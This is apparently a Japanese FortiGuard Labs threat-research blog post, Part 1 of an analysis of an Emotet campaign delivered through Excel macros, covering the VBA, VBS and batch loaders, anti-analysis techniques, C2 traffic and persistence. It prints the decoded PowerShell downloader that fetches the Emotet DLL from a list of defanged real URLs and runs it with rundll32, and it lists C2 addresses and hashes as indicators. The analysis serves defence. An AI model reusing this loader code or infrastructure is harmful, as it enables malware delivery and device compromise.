脅威リサーチ

トロイの木馬型マルウェアEmotet亜種のキャンペーン、MS Officeファイルが再び使用される:パート1

投稿者 Xiaopeng Zhang | 2022年4月13日

FortiGuard Labs Research

影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー:     64ビットWindowsユーザー
影響:             デバイスを制御して、機密情報を収集
深刻度:            クリティカル

先日、フォーティネットのFortiGuard Labsは、トロイの木馬型マルウェアEmotet(エモテット)の亜種を被害者のデバイスに拡散するキャンペーンに使われた500個以上のMicrosoft Excelファイルを発見しました。

Emotetはモジュール型トロイの木馬として有名ですが、最初の発見は2014年半ばでした。それ以来、絶えず更新を繰り返し非常に活発化しています。サイバーセキュリティのニュースでもしばしば取り上げらえるようになりました。Emotetは、Eメールなどのソーシャルエンジニアリングを使用して受信者に添付の文書ファイル(Word、Excel、PDFなど)を開かせたり、Eメールのコンテンツ内のリンクをクリックさせたりして、Emotetの最新亜種が被害者のデバイスにダウンロードされ、実行されるようになっています。

FortiGuard Labsチームは、過去にトロイの木馬型マルウェアEmotetの攻撃を監視していたことがあり、技術分析のブログを数多く投稿しています。(日本語抄訳のブログはこちら

今回、キャプチャしたサンプルからExcelファイルを取り上げ、この攻撃について詳細な調査を行いました。この解析に関してパート1では、ExcelファイルによりEmotetを拡散する方法、今回の亜種でEmotetが使用している分析回避技術、被害者のデバイスで持続性を確保する方法、Emotet亜種とC2サーバーとの通信方法、被害者のシステムにおける他のモジュールの配布、ロード、実行方法について説明していきます。

Excelファイルの調査

図1.1:ExcelファイルをMS Excelプログラムで開く

Excelのマクロオプションは、[マクロの設定]で[警告を表示してすべてのマクロを無効にする]に設定されています。このため、開いているExcelファイルにマクロが含まれていると、黄色の[セキュリティの警告]バーが表示されます(図1.1参照)。これは、偽のメッセージの画像です。このメッセージで[コンテンツの有効化]ボタンをクリックするよう被害者を誘導して、Excelファイルの保護されたコンテンツを表示させます。

悪意のあるマクロには、Excelファイルを開いたときにバックグラウンドで自動的に実行される「Workbook_Open()」という関数があります。この関数は他のローカル関数を呼び出して、「C:\ProgramData\」フォルダにある「uidpjewl.bat」および「tjspowj.vbs」の2つのファイルにデータを書き込みます。書き込まれるデータは、Excelファイルの複数のセルから読み取られたデータです。最後に、マクロは「wscript.exe」を使用して「tjspowj.vbs」ファイルを実行します。詳細については、図1.2を参照してください。

図1.2:マクロ内のVBAコード。抽出された「tjspowj.vbs」ファイルの実行で使用

VBSとPowerShell

「tjspowj.vbs」のコードは難読化されています。図2.1を参照してください。最上部は元のコードで、最下部は標準化されたコードになります。

図2.1:「tjspowj.vbs」のVBSコード

コードは非常に単純です。先に抽出された「uidpjewl.bat」ファイルを実行し、Emotetのペイロードファイルがダウンロードされます。「uidpjewl.bat」ファイルは、PowerShellコードを含むDOSバッチファイルで、何度もエンコードされます。以下は、意図が理解しやすくなるようデコードしたものです。

$MJXdfshDrfGZses4="hxxps://youlanda[.]org/eln-images/n8DPZISf/,hxxp://rosevideo[.]net/eln-images/EjdCoMlY8Gy/,hxxp://vbaint[.]com/eln-images/H2pPGte8XzENC/,hxxps://framemakers[.]us/eln-images/U5W2IGE9m8i9h9r/,hxxp://niplaw[.]com/asolidfoundation/yCE9/,http://robertmchilespe[.]com/cgi/3f/,http://vocoptions[.]net/cgi/ifM9R5ylbVpM8hfR/,http://missionnyc[.]org/ fonts/JO5/,http://robertflood[.]us/eln-images/DGI2YOkSc99XPO/,http://mpmcomputing[.]com/fonts/fJJrjqpIY3Bt3Q/,http://dadsgetinthegame[.]com/eln-images/tAAUG/,http://smbservices[.]net/cgi/JO01ckuwd/,http://stkpointers[.]com/eln-images/D/,hxxp://rosewoodcraft[.]com/Merchant2/5.00/PGqX/".sPLIt(",");

foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){
$GweYH57sedswd=("c:\programdata\puihoud.dll");
invoke-webrequest -uri $yIdsRhye34syufgxjcdf -outfile $GweYH57sedswd;
iF(test-path $GweYH57sedswd) {
if((get-item $GweYH57sedswd).length -ge 47436) { break; }
}
}

}

一連のWebサイトからEmotetのダウンロードを試みます(ダウンロード先:PowerShellでハードコードされたローカルファイル「c:\programdata\puihoud.dll」)。ダウンロードがどれか一つ正常に完了するまで行われます。

一方、呼び出し元の「tjspowj.vbs」ファイルは、 「cmd /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\puihoud.dll,tjpleowdsyf」コマンドでダウンロードしたEmotetを実行する役割を担います。

「C:\Windows\SysWOW64\」はMicrosoftが作成した32ビットファイルを保存するためのシステムフォルダです。「WOW64」は、32ビットWindowsアプリケーションを64ビットWindowsで実行できるようにするためのx86エミュレータです。これは64ビットアーキテクチャのWindowsにのみ存在します。つまり、ダウンロードされたEmotetファイルは32ビットアーキテクチャ用にコンパイルされていますが、64ビットWindowsユーザーにのみ影響するということになります。32ビットWindowsで実行すると、ファイルが見つからないため実行が終了し、エラーメッセージが表示されます。

「rundll32.exe」は、32ビットDLL(ダイナミックリンクライブラリ)ファイルをロードして実行するシステムファイルです。コマンドライン構文「rundll32.exe DLLname,<Export Function>」が使用されます。この中の「Export Function」はオプションです。「puihoud.dll」はEmotetのDLL名で、これに続くエクスポート関数名(「tjpleowdsyf」)はランダムな文字列です。解析ツールにて、エクスポート関数が「DllRegisterServer()」のみであることがわかりました。ランダムなエクスポート関数で何が起こるのか見てみましょう。

Rundll32でEmotetを開始

「rundll32.exe」によってEmotetファイル(「puihoud.dll」)がロードされます。このとき初めてエントリポイント関数が呼び出されます。これにより、DllMain()関数が呼び出され、この関数が32ビットDLLを「HITS」という名前の「Resource」からメモリにロードして、復号化します。復号化されたDLLは、Emotetの中核となります。コードにハードコードされた定数文字列が含まれているため、この解析では「X.dll」と称します(下記参照)。

10024030 ; Export Ordinals Table for X.dll       

10024032 aX_dll          db 'X.dll',0            

10024038 aDllregisterser db 'DllRegisterServer',0

図3.1:復号関数と復号化されたX.dll

図3.1では、復号化したり復号化された「(メモリ上にある)X.dll」を展開したりする関連関数が示されています。「X.dll」のEntryPoint()関数は展開後に呼び出されます。

「X.dll」は、コマンドラインパラメータのエクスポート関数名が「DllRegisterServer」であるかどうかをチェックします。異なる場合、ランダムな文字列ではなく、「C:\Windows\system32\rundll32.exe c:\programdata\puihoud.dll,DllRegisterServer」にあるように「DllRegisterServer」で再度コマンドラインを実行します(図3.3の手順1、2を参照)。その後、ExitProcess()を呼び出して、最初の「rundll32.exe」を終了します。図3.2では、新しいコマンドを実行するためにAPI CreateProcessW()を呼び出すところが示されています。

図3.2:「X.dll」が「DllRegisterServer」で「puihoud.dll」を開始する

図3.3:主要コードに到達するためのEmotetワークフロー

「DllRegisterServer」エクスポート関数でEmotetが実行されている場合、X.dllのEntryPoint()やputihoud.dllのEntryPoint()から終了するのが一般的です(図3.3の手順3)。次に、rundll32はAPI GetProcAddress()を呼び出して、「puihoud.dll」からエクスポート関数「DllRegisterServer」を収集し、呼び出しを行います。最後に、puihoud.dll!DllRegisterServerがX.dll!DllRegisterServer()を呼び出します(図3.3の手順4)。

これも、rundll32.exeがエクスポート関数を使用してdllファイルをロードして実行する方法とほとんど同じです。

X.dll!DllRegisterServer()こそ、被害者のデバイス上で悪意のあるものを実行する本当の出発点なのです。

解析回避技術

コードが解析されないように、Emotetでは解析回避技術が使用されています。このセクションでは、今回の亜種が使用する技術の種類について説明します。

  • コードフローを難読化

ほとんどの関数では、コードフローと多くの「goto」文が混在しています。「switch_number」と命名したローカル変数を有し、動的な数字を使用してコードの実行方法を制御することができます。

ロジックとしては、すべてのコードが「while infinite loop」文に含まれ、これにより、「switch_number」の値に応じて入力されるコードフロー(「goto」)が決定されるようになっています。さらに、「switch_number」は使用後に毎回変更されます。コードの分岐タスクが終了すると、「while」文に戻り、「switch_number」を再度チェックします。

この技術は、セキュリティリサーチャーが関数の意図を分析してコードを追跡することを難しくしています。図4.1は、難読化されたコードフローを示すCの擬似コードです。

図4.1:難読化されたコードフローの擬似コード
  • 文字列の暗号化

定数文字列はすべて暗号化され、復号化されるのは使用の直前のみです。一般的に定数文字列は、リサーチャーがマルウェアの重要なポイントをすばやく見つけるのに非常に有益なヒントとなります。

  • 定数の難読化

一般的に定数は、リサーチャーがコードの目的を推測するのに役立ちます。ここで例を挙げます。以下の3つの手順で示されているように、オペコード「mov [esp+2ACh+var_1A0]」は難読化されています。

mov     [esp+2ACh+var_1A0], 387854h

or      [esp+2ACh+var_1A0], 0F1FDFF8Dh

xor     [esp+2ACh+var_1A0], 0F1FDD8CDh

  • APIはすべて非表示

APIの取得では、API名と関数が属するモジュール名の両ハッシュコードが使用されます。EmotetがAPIを呼び出すたびにローカル関数が呼び出され、EAXレジスタにてローカル関数を取得してから、APIが呼び出されます。図4.2はAPI GetCommandLineW()を呼び出す例です。0xB03E1C69はモジュール「kernel32」のハッシュコードで、0x4543B55Eは「GetCommandLineW」のハッシュコードです。

図4.2:API GetCommandLineW()を取得して呼び出す

C2サーバーとの通信

Emotetは、被害者のデバイスから基本情報を収集し終えると、API BCryptEncrypt()を呼び出してデータを暗号化します。図5.1にて、収集されたデータに含まれるデータの種類を見てみましょう。

図5.1:収集した基本データの暗号化

メモリ内の60Hバイトのデータは、暗号化されるプレーンテキストデータです。データの大部分が何であるかを説明します。

0x20(オフセット+4)は、その後に続くSHA256ハッシュコードのサイズとなり、オフセット+8~オフセット+0x27(A0 C9 … 68 F8)のバイト数が含まれます。これが次のデータ全体に関するSHA256ハッシュコードとなり、オフセット+28hから始まります。

0x2C(オフセット+28h)は、次のデータのサイズです。次の0x10は、コンピュータ名とシステムドライバのボリューム番号を組み合わせた被害者ID(「BOBSXPC_9C09B592」)の長さです。この情報を取得するために、EmotetはGetComputerName()、GetWindowsDirectoryW()、GetVolumeInformationW()などのAPIを呼び出します。

次のDWORDである0x29C220DDは、Emotet DLLのフルパスに関するハッシュコードです。0x13465AAは、コードで定義されている定数値です。このEmotetのマルウェアIDである可能性があります。0x2710は別の定数値で、この亜種のバージョンであると考えられます。0x19E7Dは、Windowsのバージョンやアーキテクチャなど、被害者のシステム情報を組み合わせたものです。この情報を取得するには、RtlGetVersion()やGetNativeSystemInfo()のAPIを呼び出す必要があります。0x01(オフセット+50h)は、現在のプロセスID(rundll32.exe)関連の値です。

オフセット+58hから始まる最後のデータ(AB AB AB…)はパディングで、意味はありません。

暗号化されたバイナリデータは、CryptBinaryToStringW()のAPIを呼び出すことによってBase64文字列に変換されます。Base64文字列は、HTTP GET要求での「Cookie」値としてC2サーバーに送信されます。

図5.2:暗号化されたデータをC2サーバーに送信

図5.2の例では、サイバーセキュリティデバイスでの検知を回避するために、EmotetによりCookie名とURLがランダム化されていることを示しています。

この亜種には、合計49の暗号化されたC2サーバー(IPアドレスとポート)がハードコードされています。すべてのIPアドレスとポートについては、「IOC(Indicators of Compromise:侵害指標)」セクションの「C2サーバーリスト」を参照してください。

C2サーバーは送信データを検知して、Emotetモジュールでの応答や他の操作のコマンドなど、次に行う手順を決定します。

応答データは、HTTP応答本文内の暗号化されたバイナリデータです。下記図5.3の四角形のマーク箇所は、復号化直後のデータ例です。

図5.3:復号化されたC2応答データ

復号化されたデータの長さは60Hで、検証データと制御データの両方が含まれています。

最初の0x40は検証データである署名データ(31 1B … 3C 6D)のサイズで、制御データの署名付きハッシュとなります。受信データは検証に合格する必要があり、合格できない場合は、パケットがドロップされます。制御データの開始は、オフセット+54Hから最後までです。0x8は、その次のデータのサイズになります。このパケットの制御データは、2つのDWORD値(0x00)になります。

最初の0x00はフラグとして、0、1、8のいずれかになります。

フラグが8の場合、システムレジストリから自動実行項目を削除したり、作成したファイルやフォルダを削除したり、Emotet Dllファイルを削除したりするなど、Emotetが被害者のデバイスから自身をアンインストールします。

フラグが0で、2番目のDWORDが0以外の場合(このパケットに接続されているモジュールのサイズであるものとします)、被害者のデバイスでモジュールを実行します。

フラグが1の場合、フラグ0の分岐に移動します。これについては、この解析に関する次のパートで詳しく説明します。

再配置と持続性

Emotetは、C2サーバーから有効な応答を受信すると、ダウンロードしたEmotet dllファイルを「C:\Windows\ProgramData\puihoud.dll」(解析環境内)から「%LocalAppData%」フォルダに再配置します。さらに、被害者のデバイスに存続できるように、再配置されたファイルをシステムレジストリの自動実行グループに追加することで、Emotet自体が持続的になります。これで、Emotetはシステムの起動時に実行できるようになります。図6.1は、レジストリエディタのスクリーンショットで、システムレジストリの自動実行項目が表示されています。

図6.1:システムレジストリに追加された自動実行項目

結論

このブログでは、キャプチャされたExcelファイル内の悪意のあるマクロについて紹介しました。このファイルは、2つの抽出されたファイル「uidpjewl.bat」と「tjspowj.vbs」を使用してEmotetをダウンロードします。

そして、ダウンロードされたEmotet DLLファイルがrundll32.exeプロセスでどのように実行されるのか、さらに、「リソース」からEmotetの中核となるX.dllがどのように抽出されるのかについて説明しました。

また、コードが分析されないようにするために、Emotetがどのような解析回避技術を使用しているのかについても解説しました。

最後に、被害者のシステムからどのようなデータが収集され、どのようにしてバイナリデータを暗号化してbase64文字列に変換し、最終的にHTTPパケットとしてC2サーバーに送信するのかを説明しました。

今回の解析に関する次のパートでは、EmotetのC2サーバーから戻ってきたモジュール、Emotetによるこれらの実行方法、被害者のデバイスから盗むことができる機密データについて解説します。

このブログの続編、パート2もお読みください。

フォーティネットのソリューション

フォーティネットのお客様は、FortiGuard Webフィルタリング、ウイルス対策、FortiMail、FortiClient、FortiEDR、CDR(コンテンツ無害化)の各サービスにより、このマルウェアからすでに保護されています(以下参照)。

Excelサンプル内の悪意のあるマクロは、FortiGuard CDR(コンテンツ無害化)のサービスで無害化することができます。

関連のURLはすべて、FortiGuard Webフィルタリングサービスにて「悪意のあるWebサイト」として評価されています。

キャプチャされたExcelサンプルとダウンロードされたEmotet DLLファイルは、FortiGuardウイルス対策サービスにより「VBA/Emotet.2826!tr.dldr」および「W32/Emotet.B185!tr」として検知され、ブロックされるようになっています。

FortiEDRでは、ExcelファイルとEmotet DLLファイルのいずれも、その動作に基づいて悪意のあるものとして検知します。

これらの保護に加えて、無償のNSEトレーニングNSE 1:情報セキュリティ認識をエンドユーザーが受講することを推奨します。このトレーニングには、インターネットの脅威に関するモジュールが含まれ、エンドユーザーがフィッシング攻撃を識別して防御する方法を学習できるようになっています。

IOC(Indicators of Compromise:侵害指標)

この活動に関与しているURL:

"hxxps[:]//youlanda[.]org/eln-images/n8DPZISf/"
"hxxp[:]//rosevideo[.]net/eln-images/EjdCoMlY8Gy/"
"hxxp[:]//vbaint[.]com/eln-images/H2pPGte8XzENC/"
"hxxps[:]//framemakers[.]us/eln-images/U5W2IGE9m8i9h9r/"
"hxxp[:]//niplaw[.]com/asolidfoundation/yCE9/"
"hxxp[:]//robertmchilespe[.]com/cgi/3f/"
"hxxp[:]//vocoptions[.]net/cgi/ifM9R5ylbVpM8hfR/"
"hxxp[:]//missionnyc[.]org/fonts/JO5/"
"hxxp[:]//robertflood[.]us/eln-images/DGI2YOkSc99XPO/"
"hxxp[:]//mpmcomputing[.]com/fonts/fJJrjqpIY3Bt3Q/"
"hxxp[:]//dadsgetinthegame[.]com/eln-images/tAAUG/"
"hxxp[:]//smbservices[.]net/cgi/JO01ckuwd/"
"hxxp[:]//stkpointers[.]com/eln-images/D/"
"hxxp[:]//rosewoodcraft[.]com/Merchant2/5[.]00/PGqX/"

 

この亜種のC2サーバーリスト:(合計49個)

185[.]248[.]140[.]40:443
8[.]9 [.]11 [.]48:443
200[.]17 [.]134 [.]35:7080
207[.]38 [.]84 [.]195:8080
79[.]172 [.]212 [.]216:8080
45[.]176 [.]232 [.]124:443
45[.]118 [.]135 [.]203:7080
162[.]243 [.]175 [.]63:443
110[.]232[.]117[.]186:8080
103[.]75[.]201[.]4:443
195[.]154[.]133[.]20:443
160[.]16[.]102[.]168:80
164[.]68[.]99[.]3:8080
131[.]100[.]24[.]231:80
216[.]158[.]226[.]206:443
159[.]89[.]230[.]105:443
178[.]79[.]147[.]66:8080
178[.]128[.]83[.]165:80
212[.]237[.]5[.]209:443
82[.]165[.]152[.]127:8080
50[.]116[.]54[.]215:443
58[.]227[.]42[.]236:80
119[.]235[.]255[.]201:8080
144[.]76[.]186[.]49:8080
138[.]185[.]72[.]26:8080
162[.]214[.]50[.]39:7080
81[.]0[.]236[.]90:443
176[.]104[.]106[.]96:8080
144[.]76[.]186[.]55:7080
129[.]232[.]188[.]93:443
212[.]24[.]98[.]99:8080
203[.]114[.]109[.]124:443
103[.]75[.]201[.]2:443
173[.]212[.]193[.]249:8080
41[.]76[.]108[.]46:8080
45[.]118[.]115[.]99:8080
158[.]69[.]222[.]101:443
107[.]182[.]225[.]142:8080
212[.]237[.]17[.]99:8080
212[.]237[.]56[.]116:7080
159[.]8[.]59[.]82:8080
46[.]55[.]222[.]11:443
104[.]251[.]214[.]46:8080
31[.]24[.]158[.]56:8080
153[.]126[.]203[.]229:8080
51[.]254[.]140[.]238:7080
185[.]157[.]82[.]211:8080
217[.]182[.]143[.]207:443
45[.]142[.]114[.]231:8080

 

この活動に関与しているSHA-256の例:

[キャプチャされたExcelファイル]

25271BB2C848A32229EE7D39162E32F5F74580E43F5E24A93E6057F7D15524F0

C176C2B0336EA70C0D875F5C79D00771D59891560283364A81B2EDE495CDE62F

9C62600A0885E39BD39748150B9B64155C9EA2DBBCDD43241EB24C8E098DE782

36C2119C68B3C79B58417CADEA3547F8BBECD2DF02FEB5F04EE798DFA621B66D

B380DFC348541691E4084689405D8ACFAEAFDDD92EFF95566AFF2412F620E2DC

68AA775EC46C8B0911542E471F9A7F39D538001BD8552898416310436F58B95A

B14AB6A611A93B25DA2815D2071AA5B76085414BF6AD32432FC0809B3610DB05

81E9D87903290E4A525BEB865F5CCCCA9838BDD51238DC4FD0B9AE623BF609BB

B019A867D167B6088EA18B3BD2F1A67706505AACC9542C4017E757F0381B3F0A

F4626135C820C4784E1452E81FE25D291EA3A6326E906A2E15AE960EEA3276E4

[puihoud.dll(ダウンロードされたEmotet)]

A7C6ABBC3241B6CFCFA27158E80BD50D3C9F1AE97E86481CCABD5B2337670690

悪意のあるモジュールの詳細と、このルアー(おとり)を回避する方法については、解析パート2をご覧ください。